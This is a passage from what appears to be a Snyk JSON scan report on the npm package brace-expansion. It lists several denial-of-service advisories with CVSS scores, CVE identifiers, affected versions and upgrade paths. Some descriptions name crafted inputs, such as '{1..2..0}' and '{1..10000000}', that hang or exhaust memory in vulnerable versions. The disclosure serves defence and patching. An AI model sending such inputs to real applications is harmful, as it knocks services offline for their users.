Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", 